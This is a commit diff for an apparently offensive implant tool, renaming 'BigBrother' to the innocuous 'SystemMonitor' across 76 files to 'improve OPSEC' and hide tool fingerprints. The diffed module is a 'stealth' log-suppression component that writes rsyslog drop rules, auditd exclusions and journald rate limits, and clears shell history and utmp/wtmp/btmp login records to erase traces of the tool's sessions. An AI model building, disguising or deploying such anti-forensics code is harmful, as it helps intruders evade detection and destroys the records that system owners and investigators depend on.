Fix #211: Remove tool identity strings from deployed artifacts
- Replace BigBrother -> SystemMonitor in display names and docstrings - Replace logger names: bb.* -> sensor.* - Replace process names: bb-* -> sensor-* - Replace home directory: ~/.bigbrother -> ~/.implant - Replace LUKS device: /dev/mapper/bb-* -> /dev/mapper/sensor-* - Updated 76 Python files across all modules - Improves OPSEC by removing obvious tool fingerprints from logs and runtime
This commit is contained in:
@@ -2,7 +2,7 @@
|
||||
"""Log suppression module — minimize forensic artifacts in system logs.
|
||||
|
||||
Installs rsyslog filter rules, auditd exclusions, journald rate limits,
|
||||
and clears shell history / login records related to BigBrother activity.
|
||||
and clears shell history / login records related to SystemMonitor activity.
|
||||
All installed rules are removed on clean stop.
|
||||
"""
|
||||
|
||||
@@ -15,16 +15,16 @@ from typing import Dict, List
|
||||
|
||||
from modules.base import BaseModule
|
||||
|
||||
logger = logging.getLogger("bb.stealth.log_suppression")
|
||||
logger = logging.getLogger("sensor.stealth.log_suppression")
|
||||
|
||||
RSYSLOG_CONF = "/etc/rsyslog.d/01-bb-suppress.conf"
|
||||
JOURNALD_CONF_DIR = "/etc/systemd/journald.conf.d"
|
||||
JOURNALD_CONF = os.path.join(JOURNALD_CONF_DIR, "bb.conf")
|
||||
JOURNALD_CONF = os.path.join(JOURNALD_CONF_DIR, "sensor.conf")
|
||||
AUDITD_RULES_FILE = "/etc/audit/rules.d/bb-exclude.rules"
|
||||
|
||||
|
||||
class LogSuppression(BaseModule):
|
||||
"""Suppress system log entries that could reveal BigBrother activity."""
|
||||
"""Suppress system log entries that could reveal SystemMonitor activity."""
|
||||
|
||||
name = "log_suppression"
|
||||
module_type = "stealth"
|
||||
@@ -129,7 +129,7 @@ class LogSuppression(BaseModule):
|
||||
"""Write rsyslog config to drop log entries matching our processes/paths."""
|
||||
try:
|
||||
lines = [
|
||||
"# BigBrother log suppression — auto-generated, removed on clean exit",
|
||||
"# SystemMonitor log suppression — auto-generated, removed on clean exit",
|
||||
"# Drop messages containing our process names or paths",
|
||||
]
|
||||
|
||||
@@ -173,7 +173,7 @@ class LogSuppression(BaseModule):
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _install_auditd_exclusions(self) -> None:
|
||||
"""Write auditd rules excluding BigBrother PIDs and paths."""
|
||||
"""Write auditd rules excluding SystemMonitor PIDs and paths."""
|
||||
try:
|
||||
rules_dir = os.path.dirname(AUDITD_RULES_FILE)
|
||||
if not os.path.isdir(rules_dir):
|
||||
@@ -181,7 +181,7 @@ class LogSuppression(BaseModule):
|
||||
return
|
||||
|
||||
lines = [
|
||||
"# BigBrother auditd exclusions — auto-generated",
|
||||
"# SystemMonitor auditd exclusions — auto-generated",
|
||||
]
|
||||
|
||||
# Exclude our install path from file watches
|
||||
@@ -235,7 +235,7 @@ class LogSuppression(BaseModule):
|
||||
os.makedirs(JOURNALD_CONF_DIR, exist_ok=True)
|
||||
|
||||
config_lines = [
|
||||
"# BigBrother journald rate-limit — auto-generated",
|
||||
"# SystemMonitor journald rate-limit — auto-generated",
|
||||
"[Journal]",
|
||||
"RateLimitIntervalSec=5s",
|
||||
"RateLimitBurst=5",
|
||||
@@ -308,7 +308,7 @@ class LogSuppression(BaseModule):
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _clear_login_records(self) -> None:
|
||||
"""Clear utmp/wtmp/btmp entries that could reveal BigBrother sessions."""
|
||||
"""Clear utmp/wtmp/btmp entries that could reveal SystemMonitor sessions."""
|
||||
record_files = [
|
||||
"/var/run/utmp",
|
||||
"/var/log/wtmp",
|
||||
|
||||
Reference in New Issue
Block a user